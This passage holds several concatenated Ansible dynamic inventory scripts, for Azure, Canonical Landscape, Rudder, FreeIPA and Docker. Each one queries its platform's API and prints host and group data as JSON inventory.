                public_ip_name=None,
                public_ip_id=None,
                public_ip_alloc_method=None,
                fqdn=None,
                location=machine.location,
                name=machine.name,
                type=machine.type,
                id=machine.id,
                tags=machine.tags,
                network_interface_id=None,
                network_interface=None,
                resource_group=resource_group,
                mac_address=None,
                plan=(machine.plan.name if machine.plan else None),
                virtual_machine_size=machine.hardware_profile.vm_size,
                computer_name=machine.os_profile.computer_name,
                provisioning_state=machine.provisioning_state,
            )

            host_vars['os_disk'] = dict(
                name=machine.storage_profile.os_disk.name,
                operating_system_type=machine.storage_profile.os_disk.os_type.value
            )

            if self.include_powerstate:
                host_vars['powerstate'] = self._get_powerstate(resource_group, machine.name)

            if machine.storage_profile.image_reference:
                host_vars['image'] = dict(
                    offer=machine.storage_profile.image_reference.offer,
                    publisher=machine.storage_profile.image_reference.publisher,
                    sku=machine.storage_profile.image_reference.sku,
                    version=machine.storage_profile.image_reference.version
                )

            # Add windows details
            if machine.os_profile.windows_configuration is not None:
                host_vars['windows_auto_updates_enabled'] = \
                    machine.os_profile.windows_configuration.enable_automatic_updates
                host_vars['windows_timezone'] = machine.os_profile.windows_configuration.time_zone
                host_vars['windows_rm'] = None
                if machine.os_profile.windows_configuration.win_rm is not None:
                    host_vars['windows_rm'] = dict(listeners=None)
                    if machine.os_profile.windows_configuration.win_rm.listeners is not None:
                        host_vars['windows_rm']['listeners'] = []
                        for listener in machine.os_profile.windows_configuration.win_rm.listeners:
                            host_vars['windows_rm']['listeners'].append(dict(protocol=listener.protocol,
                                                                             certificate_url=listener.certificate_url))

            for interface in machine.network_profile.network_interfaces:
                interface_reference = self._parse_ref_id(interface.id)
                network_interface = self._network_client.network_interfaces.get(
                    interface_reference['resourceGroups'],
                    interface_reference['networkInterfaces'])
                if network_interface.primary:
                    if self.group_by_security_group and \
                       self._security_groups[resource_group].get(network_interface.id, None):
                        host_vars['security_group'] = \
                            self._security_groups[resource_group][network_interface.id]['name']
                        host_vars['security_group_id'] = \
                            self._security_groups[resource_group][network_interface.id]['id']
                    host_vars['network_interface'] = network_interface.name
                    host_vars['network_interface_id'] = network_interface.id
                    host_vars['mac_address'] = network_interface.mac_address
                    for ip_config in network_interface.ip_configurations:
                        host_vars['private_ip'] = ip_config.private_ip_address
                        host_vars['private_ip_alloc_method'] = ip_config.private_ip_allocation_method
                        if ip_config.public_ip_address:
                            public_ip_reference = self._parse_ref_id(ip_config.public_ip_address.id)
                            public_ip_address = self._network_client.public_ip_addresses.get(
                                public_ip_reference['resourceGroups'],
                                public_ip_reference['publicIPAddresses'])
                            host_vars['ansible_host'] = public_ip_address.ip_address
                            host_vars['public_ip'] = public_ip_address.ip_address
                            host_vars['public_ip_name'] = public_ip_address.name
                            host_vars['public_ip_alloc_method'] = public_ip_address.public_ip_allocation_method
                            host_vars['public_ip_id'] = public_ip_address.id
                            if public_ip_address.dns_settings:
                                host_vars['fqdn'] = public_ip_address.dns_settings.fqdn

            self._add_host(host_vars)

    def _selected_machines(self, virtual_machines):
        selected_machines = []
        for machine in virtual_machines:
            if self._args.host and self._args.host == machine.name:
                selected_machines.append(machine)
            if self.tags and self._tags_match(machine.tags, self.tags):
                selected_machines.append(machine)
            if self.locations and machine.location in self.locations:
                selected_machines.append(machine)
        return selected_machines

    def _get_security_groups(self, resource_group):
        ''' For a given resource_group build a mapping of network_interface.id to security_group name '''
        if not self._security_groups:
            self._security_groups = dict()
        if not self._security_groups.get(resource_group):
            self._security_groups[resource_group] = dict()
            for group in self._network_client.network_security_groups.list(resource_group):
                if group.network_interfaces:
                    for interface in group.network_interfaces:
                        self._security_groups[resource_group][interface.id] = dict(
                            name=group.name,
                            id=group.id
                        )

    def _get_powerstate(self, resource_group, name):
        try:
            vm = self._compute_client.virtual_machines.get(resource_group,
                                                           name,
                                                           expand='instanceview')
        except Exception as exc:
            sys.exit("Error: fetching instanceview for host {0} - {1}".format(name, str(exc)))

        return next((s.code.replace('PowerState/', '')
                    for s in vm.instance_view.statuses if s.code.startswith('PowerState')), None)

    def _add_host(self, vars):

        host_name = self._to_safe(vars['name'])
        resource_group = self._to_safe(vars['resource_group'])
        security_group = None
        if vars.get('security_group'):
            security_group = self._to_safe(vars['security_group'])

        if self.group_by_resource_group:
            if not self._inventory.get(resource_group):
                self._inventory[resource_group] = []
            self._inventory[resource_group].append(host_name)

        if self.group_by_location:
            if not self._inventory.get(vars['location']):
                self._inventory[vars['location']] = []
            self._inventory[vars['location']].append(host_name)

        if self.group_by_security_group and security_group:
            if not self._inventory.get(security_group):
                self._inventory[security_group] = []
            self._inventory[security_group].append(host_name)

        self._inventory['_meta']['hostvars'][host_name] = vars
        self._inventory['azure'].append(host_name)

        if self.group_by_tag and vars.get('tags'):
            for key, value in vars['tags'].iteritems():
                safe_key = self._to_safe(key)
                safe_value = safe_key + '_' + self._to_safe(value)
                if not self._inventory.get(safe_key):
                    self._inventory[safe_key] = []
                if not self._inventory.get(safe_value):
                    self._inventory[safe_value] = []
                self._inventory[safe_key].append(host_name)
                self._inventory[safe_value].append(host_name)

    def _json_format_dict(self, pretty=False):
        # convert inventory to json
        if pretty:
            return json.dumps(self._inventory, sort_keys=True, indent=2)
        else:
            return json.dumps(self._inventory)

    def _get_settings(self):
        # Load settings from the .ini, if it exists. Otherwise,
        # look for environment values.
        file_settings = self._load_settings()
        if file_settings:
            for key in AZURE_CONFIG_SETTINGS:
                if key in ('resource_groups', 'tags', 'locations') and file_settings.get(key):
                    values = file_settings.get(key).split(',')
                    if len(values) > 0:
                        setattr(self, key, values)
                elif file_settings.get(key):
                    val = self._to_boolean(file_settings[key])
                    setattr(self, key, val)
        else:
            env_settings = self._get_env_settings()
            for key in AZURE_CONFIG_SETTINGS:
                if key in('resource_groups', 'tags', 'locations') and env_settings.get(key):
                    values = env_settings.get(key).split(',')
                    if len(values) > 0:
                        setattr(self, key, values)
                elif env_settings.get(key, None) is not None:
                    val = self._to_boolean(env_settings[key])
                    setattr(self, key, val)

    def _parse_ref_id(self, reference):
        response = {}
        keys = reference.strip('/').split('/')
        for index in range(len(keys)):
            if index < len(keys) - 1 and index % 2 == 0:
                response[keys[index]] = keys[index + 1]
        return response

    def _to_boolean(self, value):
        if value in ['Yes', 'yes', 1, 'True', 'true', True]:
            result = True
        elif value in ['No', 'no', 0, 'False', 'false', False]:
            result = False
        else:
            result = True
        return result

    def _get_env_settings(self):
        env_settings = dict()
        for attribute, env_variable in AZURE_CONFIG_SETTINGS.iteritems():
            env_settings[attribute] = os.environ.get(env_variable, None)
        return env_settings

    def _load_settings(self):
        basename = os.path.splitext(os.path.basename(__file__))[0]
        default_path = os.path.join(os.path.dirname(__file__), (basename + '.ini'))
        path = os.path.expanduser(os.path.expandvars(os.environ.get('AZURE_INI_PATH', default_path)))
        config = None
        settings = None
        try:
            config = ConfigParser.ConfigParser()
            config.read(path)
        except:
            pass

        if config is not None:
            settings = dict()
            for key in AZURE_CONFIG_SETTINGS:
                try:
                    settings[key] = config.get('azure', key, raw=True)
                except:
                    pass

        return settings

    def _tags_match(self, tag_obj, tag_args):
        '''
        Return True if the tags object from a VM contains the requested tag values.

        :param tag_obj:  Dictionary of string:string pairs
        :param tag_args: List of strings in the form key=value
        :return: boolean
        '''

        if not tag_obj:
            return False

        matches = 0
        for arg in tag_args:
            arg_key = arg
            arg_value = None
            if re.search(r':', arg):
                arg_key, arg_value = arg.split(':')
            if arg_value and tag_obj.get(arg_key, None) == arg_value:
                matches += 1
            elif not arg_value and tag_obj.get(arg_key, None) is not None:
                matches += 1
        if matches == len(tag_args):
            return True
        return False

    def _to_safe(self, word):
        ''' Converts 'bad' characters in a string to underscores so they can be used as Ansible groups '''
        regex = "[^A-Za-z0-9\_"
        if not self.replace_dash_in_groups:
            regex += "\-"
        return re.sub(regex + "]", "_", word)


def main():
    if not HAS_AZURE:
        sys.exit("The Azure python sdk is not installed (try 'pip install azure==2.0.0rc5') - {0}".format(HAS_AZURE_EXC))

    if LooseVersion(azure_compute_version) != LooseVersion(AZURE_MIN_VERSION):
        sys.exit("Expecting azure.mgmt.compute.__version__ to be {0}. Found version {1} "
                 "Do you have Azure == 2.0.0rc5 installed?".format(AZURE_MIN_VERSION, azure_compute_version))

    AzureInventory()

if __name__ == '__main__':
    main()






#!/usr/bin/env python

# (c) 2015, Marc Abramowitz <marca@surveymonkey.com>
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.

# Dynamic inventory script which lets you use nodes discovered by Canonical's
# Landscape (http://www.ubuntu.com/management/landscape-features).
#
# Requires the `landscape_api` Python module
# See:
#   - https://landscape.canonical.com/static/doc/api/api-client-package.html
#   - https://landscape.canonical.com/static/doc/api/python-api.html
#
# Environment variables
# ---------------------
#   - `LANDSCAPE_API_URI`
#   - `LANDSCAPE_API_KEY`
#   - `LANDSCAPE_API_SECRET`
#   - `LANDSCAPE_API_SSL_CA_FILE` (optional)


import argparse
import collections
import os
import sys

from landscape_api.base import API, HTTPError

try:
    import json
except ImportError:
    import simplejson as json

_key = 'landscape'


class EnvironmentConfig(object):
    uri = os.getenv('LANDSCAPE_API_URI')
    access_key = os.getenv('LANDSCAPE_API_KEY')
    secret_key = os.getenv('LANDSCAPE_API_SECRET')
    ssl_ca_file = os.getenv('LANDSCAPE_API_SSL_CA_FILE')


def _landscape_client():
    env = EnvironmentConfig()
    return API(
        uri=env.uri,
        access_key=env.access_key,
        secret_key=env.secret_key,
        ssl_ca_file=env.ssl_ca_file)


def get_landscape_members_data():
    return _landscape_client().get_computers()


def get_nodes(data):
    return [node['hostname'] for node in data]


def get_groups(data):
    groups = collections.defaultdict(list)

    for node in data:
        for value in node['tags']:
            groups[value].append(node['hostname'])

    return groups


def get_meta(data):
    meta = {'hostvars': {}}
    for node in data:
        meta['hostvars'][node['hostname']] = {'tags': node['tags']}
    return meta


def print_list():
    data = get_landscape_members_data()
    nodes = get_nodes(data)
    groups = get_groups(data)
    meta = get_meta(data)
    inventory_data = {_key: nodes, '_meta': meta}
    inventory_data.update(groups)
    print(json.dumps(inventory_data))


def print_host(host):
    data = get_landscape_members_data()
    meta = get_meta(data)
    print(json.dumps(meta['hostvars'][host]))


def get_args(args_list):
    parser = argparse.ArgumentParser(
        description='ansible inventory script reading from landscape cluster')
    mutex_group = parser.add_mutually_exclusive_group(required=True)
    help_list = 'list all hosts from landscape cluster'
    mutex_group.add_argument('--list', action='store_true', help=help_list)
    help_host = 'display variables for a host'
    mutex_group.add_argument('--host', help=help_host)
    return parser.parse_args(args_list)


def main(args_list):
    args = get_args(args_list)
    if args.list:
        print_list()
    if args.host:
        print_host(args.host)


if __name__ == '__main__':
    main(sys.argv[1:])






#!/usr/bin/env python

# Copyright (c) 2015, Normation SAS
#
# Inspired by the EC2 inventory plugin:
# https://github.com/ansible/ansible/blob/devel/contrib/inventory/ec2.py
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

######################################################################

'''
Rudder external inventory script
=================================

Generates inventory that Ansible can understand by making API request to
a Rudder server. This script is compatible with Rudder 2.10 or later.

The output JSON includes all your Rudder groups, containing the hostnames of
their nodes. Groups and nodes have a variable called rudder_group_id and
rudder_node_id, which is the Rudder internal id of the item, allowing to identify
them uniquely. Hosts variables also include your node properties, which are
key => value properties set by the API and specific to each node.

This script assumes there is an rudder.ini file alongside it. To specify a
different path to rudder.ini, define the RUDDER_INI_PATH environment variable:

    export RUDDER_INI_PATH=/path/to/my_rudder.ini

You have to configure your Rudder server information, either in rudder.ini or
by overriding it with environment variables:

    export RUDDER_API_VERSION='latest'
    export RUDDER_API_TOKEN='my_token'
    export RUDDER_API_URI='https://rudder.local/rudder/api'
'''


import sys
import os
import re
import argparse
import six
import httplib2 as http
from time import time
from six.moves import configparser

try:
    from urlparse import urlparse
except ImportError:
    from urllib.parse import urlparse

try:
    import json
except ImportError:
    import simplejson as json


class RudderInventory(object):
    def __init__(self):
        ''' Main execution path '''

        # Empty inventory by default
        self.inventory = {}

        # Read settings and parse CLI arguments
        self.read_settings()
        self.parse_cli_args()

        # Create connection
        self.conn = http.Http(disable_ssl_certificate_validation=self.disable_ssl_validation)

        # Cache
        if self.args.refresh_cache:
            self.update_cache()
        elif not self.is_cache_valid():
            self.update_cache()
        else:
            self.load_cache()

        data_to_print = {}

        if self.args.host:
            data_to_print = self.get_host_info(self.args.host)
        elif self.args.list:
            data_to_print = self.get_list_info()

        print(self.json_format_dict(data_to_print, True))

    def read_settings(self):
        ''' Reads the settings from the rudder.ini file '''
        if six.PY2:
            config = configparser.SafeConfigParser()
        else:
            config = configparser.ConfigParser()
        rudder_default_ini_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'rudder.ini')
        rudder_ini_path = os.path.expanduser(os.path.expandvars(os.environ.get('RUDDER_INI_PATH', rudder_default_ini_path)))
        config.read(rudder_ini_path)

        self.token = os.environ.get('RUDDER_API_TOKEN', config.get('rudder', 'token'))
        self.version = os.environ.get('RUDDER_API_VERSION', config.get('rudder', 'version'))
        self.uri = os.environ.get('RUDDER_API_URI', config.get('rudder', 'uri'))

        self.disable_ssl_validation = config.getboolean('rudder', 'disable_ssl_certificate_validation')
        self.group_name = config.get('rudder', 'group_name')
        self.fail_if_name_collision = config.getboolean('rudder', 'fail_if_name_collision')

        self.cache_path = config.get('rudder', 'cache_path')
        self.cache_max_age = config.getint('rudder', 'cache_max_age')

    def parse_cli_args(self):
        ''' Command line argument processing '''

        parser = argparse.ArgumentParser(description='Produce an Ansible Inventory file based on Rudder inventory')
        parser.add_argument('--list', action='store_true', default=True,
                            help='List instances (default: True)')
        parser.add_argument('--host', action='store',
                            help='Get all the variables about a specific instance')
        parser.add_argument('--refresh-cache', action='store_true', default=False,
                            help='Force refresh of cache by making API requests to Rudder (default: False - use cache files)')
        self.args = parser.parse_args()

    def is_cache_valid(self):
        ''' Determines if the cache files have expired, or if it is still valid '''

        if os.path.isfile(self.cache_path):
            mod_time = os.path.getmtime(self.cache_path)
            current_time = time()
            if (mod_time + self.cache_max_age) > current_time:
                return True

        return False

    def load_cache(self):
        ''' Reads the cache from the cache file sets self.cache '''

        cache = open(self.cache_path, 'r')
        json_cache = cache.read()

        try:
            self.inventory = json.loads(json_cache)
        except ValueError as e:
            self.fail_with_error('Could not parse JSON response from local cache', 'parsing local cache')

    def write_cache(self):
        ''' Writes data in JSON format to a file '''

        json_data = self.json_format_dict(self.inventory, True)
        cache = open(self.cache_path, 'w')
        cache.write(json_data)
        cache.close()

    def get_nodes(self):
        ''' Gets the nodes list from Rudder '''

        path = '/nodes?select=nodeAndPolicyServer'
        result = self.api_call(path)

        nodes = {}

        for node in result['data']['nodes']:
            nodes[node['id']] = {}
            nodes[node['id']]['hostname'] = node['hostname']
            if 'properties' in node:
                nodes[node['id']]['properties'] = node['properties']
            else:
                nodes[node['id']]['properties'] = []

        return nodes

    def get_groups(self):
        ''' Gets the groups list from Rudder '''

        path = '/groups'
        result = self.api_call(path)

        groups = {}

        for group in result['data']['groups']:
            groups[group['id']] = {'hosts': group['nodeIds'], 'name': self.to_safe(group[self.group_name])}

        return groups

    def update_cache(self):
        ''' Fetches the inventory information from Rudder and creates the inventory '''

        nodes = self.get_nodes()
        groups = self.get_groups()

        inventory = {}

        for group in groups:
            # Check for name collision
            if self.fail_if_name_collision:
                if groups[group]['name'] in inventory:
                    self.fail_with_error('Name collision on groups: "%s" appears twice' % groups[group]['name'], 'creating groups')
            # Add group to inventory
            inventory[groups[group]['name']] = {}
            inventory[groups[group]['name']]['hosts'] = []
            inventory[groups[group]['name']]['vars'] = {}
            inventory[groups[group]['name']]['vars']['rudder_group_id'] = group
            for node in groups[group]['hosts']:
                # Add node to group
                inventory[groups[group]['name']]['hosts'].append(nodes[node]['hostname'])

        properties = {}

        for node in nodes:
            # Check for name collision
            if self.fail_if_name_collision:
                if nodes[node]['hostname'] in properties:
                    self.fail_with_error('Name collision on hosts: "%s" appears twice' % nodes[node]['hostname'], 'creating hosts')
            # Add node properties to inventory
            properties[nodes[node]['hostname']] = {}
            properties[nodes[node]['hostname']]['rudder_node_id'] = node
            for node_property in nodes[node]['properties']:
                properties[nodes[node]['hostname']][self.to_safe(node_property['name'])] = node_property['value']

        inventory['_meta'] = {}
        inventory['_meta']['hostvars'] = properties

        self.inventory = inventory

        if self.cache_max_age > 0:
            self.write_cache()

    def get_list_info(self):
        ''' Gets inventory information from local cache '''

        return self.inventory

    def get_host_info(self, hostname):
        ''' Gets information about a specific host from local cache '''

        if hostname in self.inventory['_meta']['hostvars']:
            return self.inventory['_meta']['hostvars'][hostname]
        else:
            return {}

    def api_call(self, path):
        ''' Performs an API request '''

        headers = {
            'X-API-Token': self.token,
            'X-API-Version': self.version,
            'Content-Type': 'application/json;charset=utf-8'
        }

        target = urlparse(self.uri + path)
        method = 'GET'
        body = ''

        try:
            response, content = self.conn.request(target.geturl(), method, body, headers)
        except:
            self.fail_with_error('Error connecting to Rudder server')

        try:
            data = json.loads(content)
        except ValueError as e:
            self.fail_with_error('Could not parse JSON response from Rudder API', 'reading API response')

        return data

    def fail_with_error(self, err_msg, err_operation=None):
        ''' Logs an error to std err for ansible-playbook to consume and exit '''
        if err_operation:
            err_msg = 'ERROR: "{err_msg}", while: {err_operation}'.format(
                err_msg=err_msg, err_operation=err_operation)
        sys.stderr.write(err_msg)
        sys.exit(1)

    def json_format_dict(self, data, pretty=False):
        ''' Converts a dict to a JSON object and dumps it as a formatted
        string '''

        if pretty:
            return json.dumps(data, sort_keys=True, indent=2)
        else:
            return json.dumps(data)

    def to_safe(self, word):
        ''' Converts 'bad' characters in a string to underscores so they can be
        used as Ansible variable names '''

        return re.sub('[^A-Za-z0-9\_]', '_', word)

# Run the script
RudderInventory()






#!/usr/bin/env python

import argparse
from ipalib import api
import json

def initialize():
    '''
    This function initializes the FreeIPA/IPA API. This function requires
    no arguments. A kerberos key must be present in the users keyring in 
    order for this to work.
    '''

    api.bootstrap(context='cli')
    api.finalize()
    try:
        api.Backend.rpcclient.connect()
    except AttributeError:
        #FreeIPA < 4.0 compatibility
        api.Backend.xmlclient.connect()
    
    return api

def list_groups(api):
    '''
    This function returns a list of all host groups. This function requires
    one argument, the FreeIPA/IPA API object.
    '''

    inventory = {}
    hostvars={}
    meta={}

    result = api.Command.hostgroup_find()['result']

    for hostgroup in result:
        inventory[hostgroup['cn'][0]] = { 'hosts': [host for host in  hostgroup['member_host']]}

        for host in  hostgroup['member_host']:
            hostvars[host] = {}

    inventory['_meta'] = {'hostvars': hostvars}
    inv_string = json.dumps(inventory, indent=1, sort_keys=True)
    print(inv_string)
    
    return None

def parse_args():
    '''
    This function parses the arguments that were passed in via the command line.
    This function expects no arguments.
    '''

    parser = argparse.ArgumentParser(description='Ansible FreeIPA/IPA '
                                     'inventory module')
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('--list', action='store_true',
                       help='List active servers')
    group.add_argument('--host', help='List details about the specified host')

    return parser.parse_args()

def print_host(host):
    '''
    This function is really a stub, it could return variables to be used in 
    a playbook. However, at this point there are no variables stored in 
    FreeIPA/IPA.

    This function expects one string, this hostname to lookup variables for.
    '''

    print(json.dumps({}))

    return None

if __name__ == '__main__':
    args = parse_args()

    if args.host:
        print_host(args.host)
    elif args.list:
        api = initialize()
        list_groups(api)






#!/usr/bin/env python
#
# (c) 2016 Paul Durivage <paul.durivage@gmail.com>
#          Chris Houseknecht <house@redhat.com>
#          James Tanner <jtanner@redhat.com>
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

DOCUMENTATION = '''

Docker Inventory Script
=======================
The inventory script generates dynamic inventory by making API requests to one or more Docker APIs. It's dynamic
because the inventory is generated at run-time rather than being read from a static file. The script generates the
inventory by connecting to one or many Docker APIs and inspecting the containers it finds at each API. Which APIs the
script contacts can be defined using environment variables or a configuration file.

Requirements
------------

Using the docker modules requires having docker-py <https://docker-py.readthedocs.org/en/stable/>
installed on the host running Ansible. To install docker-py:

   pip install docker-py


Run for Specific Host
---------------------
When run for a specific container using the --host option this script returns the following hostvars:

{
    "ansible_ssh_host": "",
    "ansible_ssh_port": 0,
    "docker_apparmorprofile": "",
    "docker_args": [],
    "docker_config": {
        "AttachStderr": false,
        "AttachStdin": false,
        "AttachStdout": false,
        "Cmd": [
            "/hello"
        ],
        "Domainname": "",
        "Entrypoint": null,
        "Env": null,
        "Hostname": "9f2f80b0a702",
        "Image": "hello-world",
        "Labels": {},
        "OnBuild": null,
        "OpenStdin": false,
        "StdinOnce": false,
        "Tty": false,
        "User": "",
        "Volumes": null,
        "WorkingDir": ""
    },
    "docker_created": "2016-04-18T02:05:59.659599249Z",
    "docker_driver": "aufs",
    "docker_execdriver": "native-0.2",
    "docker_execids": null,
    "docker_graphdriver": {
        "Data": null,
        "Name": "aufs"
    },
    "docker_hostconfig": {
        "Binds": null,
        "BlkioWeight": 0,
        "CapAdd": null,
        "CapDrop": null,
        "CgroupParent": "",
        "ConsoleSize": [
            0,
            0
        ],
        "ContainerIDFile": "",
        "CpuPeriod": 0,
        "CpuQuota": 0,
        "CpuShares": 0,
        "CpusetCpus": "",
        "CpusetMems": "",
        "Devices": null,
        "Dns": null,
        "DnsOptions": null,
        "DnsSearch": null,
        "ExtraHosts": null,
        "GroupAdd": null,
        "IpcMode": "",
        "KernelMemory": 0,
        "Links": null,
        "LogConfig": {
            "Config": {},
            "Type": "json-file"
        },
        "LxcConf": null,
        "Memory": 0,
        "MemoryReservation": 0,
        "MemorySwap": 0,
        "MemorySwappiness": null,
        "NetworkMode": "default",
        "OomKillDisable": false,
        "PidMode": "host",
        "PortBindings": null,
        "Privileged": false,
        "PublishAllPorts": false,
        "ReadonlyRootfs": false,
        "RestartPolicy": {
            "MaximumRetryCount": 0,
            "Name": ""
        },
        "SecurityOpt": [
            "label:disable"
        ],
        "UTSMode": "",
        "Ulimits": null,
        "VolumeDriver": "",
        "VolumesFrom": null
    },
    "docker_hostnamepath": "/mnt/sda1/var/lib/docker/containers/9f2f80b0a702361d1ac432e6af816c19bda46da15c21264fb418c873de635a14/hostname",
    "docker_hostspath": "/mnt/sda1/var/lib/docker/containers/9f2f80b0a702361d1ac432e6af816c19bda46da15c21264fb418c873de635a14/hosts",
    "docker_id": "9f2f80b0a702361d1ac432e6af816c19bda46da15c21264fb418c873de635a14",
    "docker_image": "0a6ba66e537a53a5ea94f7c6a99c534c6adb12e3ed09326d4bf3b38f7c3ba4e7",
    "docker_logpath": "/mnt/sda1/var/lib/docker/containers/9f2f80b0a702361d1ac432e6af816c19bda46da15c21264fb418c873de635a14/9f2f80b0a702361d1ac432e6af816c19bda46da15c21264fb418c873de635a14-json.log",
    "docker_mountlabel": "",
    "docker_mounts": [],
    "docker_name": "/hello-world",
    "docker_networksettings": {
        "Bridge": "",
        "EndpointID": "",
        "Gateway": "",
        "GlobalIPv6Address": "",
        "GlobalIPv6PrefixLen": 0,
        "HairpinMode": false,
        "IPAddress": "",
        "IPPrefixLen": 0,
        "IPv6Gateway": "",
        "LinkLocalIPv6Address": "",
        "LinkLocalIPv6PrefixLen": 0,
        "MacAddress": "",
        "Networks": {
            "bridge": {
                "EndpointID": "",
                "Gateway": "",
                "GlobalIPv6Address": "",
                "GlobalIPv6PrefixLen": 0,
                "IPAddress": "",
                "IPPrefixLen": 0,
                "IPv6Gateway": "",
                "MacAddress": ""
            }
        },
        "Ports": null,
        "SandboxID": "",
        "SandboxKey": "",
        "SecondaryIPAddresses": null,
        "SecondaryIPv6Addresses": null
    },
    "docker_path": "/hello",
    "docker_processlabel": "",
    "docker_resolvconfpath": "/mnt/sda1/var/lib/docker/containers/9f2f80b0a702361d1ac432e6af816c19bda46da15c21264fb418c873de635a14/resolv.conf",
    "docker_restartcount": 0,
    "docker_short_id": "9f2f80b0a7023",
    "docker_state": {
        "Dead": false,
        "Error": "",
        "ExitCode": 0,
        "FinishedAt": "2016-04-18T02:06:00.296619369Z",
        "OOMKilled": false,
        "Paused": false,
        "Pid": 0,
        "Restarting": false,
        "Running": false,
        "StartedAt": "2016-04-18T02:06:00.272065041Z",
        "Status": "exited"
    }
}

Groups
------
When run in --list mode (the default), container instances are grouped by:

 - container id
 - container name
 - container short id
 - image_name  (image_<image name>)
 - docker_host
 - running
 - stopped


Configuration:
--------------
You can control the behavior of the inventory script by passing arguments, defining environment variables, or
creating a configuration file named docker.yml (sample provided in ansible/contrib/inventory). The order of precedence
is command line args, then the docker.yml file and finally environment variables.

Environment variables:
......................

To connect to a single Docker API the following variables can be defined in the environment to control the connection
options. These are the same environment variables used by the Docker modules.

    DOCKER_HOST
        The URL or Unix socket path used to connect to the Docker API. Defaults to unix://var/run/docker.sock.

    DOCKER_API_VERSION:
        The version of the Docker API running on the Docker Host. Defaults to the latest version of the API supported
        by docker-py.

    DOCKER_TIMEOUT:
        The maximum amount of time in seconds to wait on a response fromm the API. Defaults to 60 seconds.

    DOCKER_TLS:
        Secure the connection to the API by using TLS without verifying the authenticity of the Docker host server.
        Defaults to False.

    DOCKER_TLS_VERIFY:
        Secure the connection to the API by using TLS and verifying the authenticity of the Docker host server.
        Default is False

    DOCKER_TLS_HOSTNAME:
        When verifying the authenticity of the Docker Host server, provide the expected name of the server. Defaults
        to localhost.

    DOCKER_CERT_PATH:
        Path to the directory containing the client certificate, client key and CA certificate.

    DOCKER_SSL_VERSION:
        Provide a valid SSL version number. Default value determined by docker-py, which at the time of this writing
        was 1.0

In addition to the connection variables there are a couple variables used to control the execution and output of the
script:

    DOCKER_CONFIG_FILE
        Path to the configuration file. Defaults to ./docker.yml.

    DOCKER_PRIVATE_SSH_PORT:
        The private port (container port) on which SSH is listening for connections. Defaults to 22.

    DOCKER_DEFAULT_IP:
        The IP address to assign to ansible_host when the container's SSH port is mapped to interface '0.0.0.0'.


Configuration File
..................

Using a configuration file provides a means for defining a set of Docker APIs from which to build an inventory.

The default name of the file is derived from the name of the inventory script. By default the script will look for
basename of the script (i.e. docker) with an extension of '.yml'.

You can also override the default name of the script by defining DOCKER_CONFIG_FILE in the environment.

Here's what you can define in docker_inventory.yml:

    defaults
        Defines a default connection. Defaults will be taken from this and applied to any values not provided
        for a host defined in the hosts list.

    hosts
        If you wish to get inventory from more than one Docker host, define a hosts list.

For the default host and each host in the hosts list define the following attributes:

  host:
      description: The URL or Unix socket path used to connect to the Docker API.
      required: yes

  tls:
     description: Connect using TLS without verifying the authenticity of the Docker host server.
     default: false
     required: false

  tls_verify:
     description: Connect using TLS without verifying the authenticity of the Docker host server.
     default: false
     required: false

  cert_path:
     description: Path to the client's TLS certificate file.
     default: null
     required: false

  cacert_path:
     description: Use a CA certificate when performing server verification by providing the path to a CA certificate file.
     default: null
     required: false

  key_path:
     description: Path to the client's TLS key file.
     default: null
     required: false

  version:
     description: The Docker API version.
     required: false
     default: will be supplied by the docker-py module.

  timeout:
     description: The amount of time in seconds to wait on an API response.
     required: false
     default: 60

  default_ip:
     description: The IP address to assign to ansible_host when the container's SSH port is mapped to interface
     '0.0.0.0'.
     required: false
     default: 127.0.0.1

  private_ssh_port:
     description: The port containers use for SSH
     required: false
     default: 22

Examples
--------

# Connect to the Docker API on localhost port 4243 and format the JSON output
DOCKER_HOST=tcp://localhost:4243 ./docker.py --pretty

# Any container's ssh port exposed on 0.0.0.0 will be mapped to
# another IP address (where Ansible will attempt to connect via SSH)
DOCKER_DEFAULT_IP=1.2.3.4 ./docker.py --pretty

# Run as input to a playbook:
ansible-playbook -i ~/projects/ansible/contrib/inventory/docker.py docker_inventory_test.yml

# Simple playbook to invoke with the above example:

    - name: Test docker_inventory
      hosts: all
      connection: local
      gather_facts: no
      tasks:
        - debug: msg="Container - {{ inventory_hostname }}"

'''

import os
import sys
import json
import argparse
import re
import yaml

from collections import defaultdict
# Manipulation of the path is needed because the docker-py
# module is imported by the name docker, and because this file
# is also named docker
for path in [os.getcwd(), '', os.path.dirname(os.path.abspath(__file__))]:
    try:
        del sys.path[sys.path.index(path)]
    except:
        pass

HAS_DOCKER_PY = True
HAS_DOCKER_ERROR = False

try:
    from docker import Client
    from docker.errors import APIError, TLSParameterError
    from docker.tls import TLSConfig
    from docker.constants import DEFAULT_TIMEOUT_SECONDS, DEFAULT_DOCKER_API_VERSION
except ImportError as exc:
    HAS_DOCKER_ERROR = str(exc)
    HAS_DOCKER_PY = False

DEFAULT_DOCKER_HOST = 'unix://var/run/docker.sock'
DEFAULT_TLS = False
DEFAULT_TLS_VERIFY = False
DEFAULT_IP = '127.0.0.1'
DEFAULT_SSH_PORT = '22'

